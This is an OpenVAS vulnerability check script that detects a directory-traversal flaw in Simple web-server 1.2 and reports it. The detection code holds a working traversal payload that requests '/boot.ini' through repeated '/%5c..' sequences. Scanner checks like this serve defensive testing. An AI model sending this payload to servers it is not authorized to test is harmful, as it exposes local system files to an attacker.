Simple web-server Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_simple_web-server_48116.nasl 7024 2017-08-30 11:51:43Z teissa $
#
# Simple web-server Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Simple web-server is prone to a directory-traversal vulnerability
because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local
files within the context of the webserver. Information harvested may
aid in launching further attacks.

Simple web-server 1.2 is vulnerable; other versions may also be
affected.";


if (description)
{
 script_id(103174);
 script_version("$Revision: 7024 $");
 script_tag(name:"last_modification", value:"$Date: 2017-08-30 13:51:43 +0200 (Wed, 30 Aug 2017) $");
 script_tag(name:"creation_date", value:"2011-06-07 12:59:38 +0200 (Tue, 07 Jun 2011)");
 script_bugtraq_id(48116);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_name("Simple web-server Directory Traversal Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/48116");
 script_xref(name : "URL" , value : "http://www.storecalc.com/langs/eng/webserv.html");
 script_xref(name : "URL" , value : "http://www.autosectools.com/Advisory/Simple-web-server-1.2-Directory-Traversal-232");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web Servers");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("gb_get_http_banner.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("Indy/banner");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("global_settings.inc");
   
port = get_http_port(default:80);

banner = get_http_banner(port:port);
if( ! banner || "Server: Indy" >!< banner)exit(0);

url = string("/", crap(data:"/%5c..",length:10*6),"/boot.ini"); 

if(http_vuln_check(port:port, url:url,pattern:"\[boot loader\]")) {
     
  security_message(port:port);
  exit(0);

}

exit(0);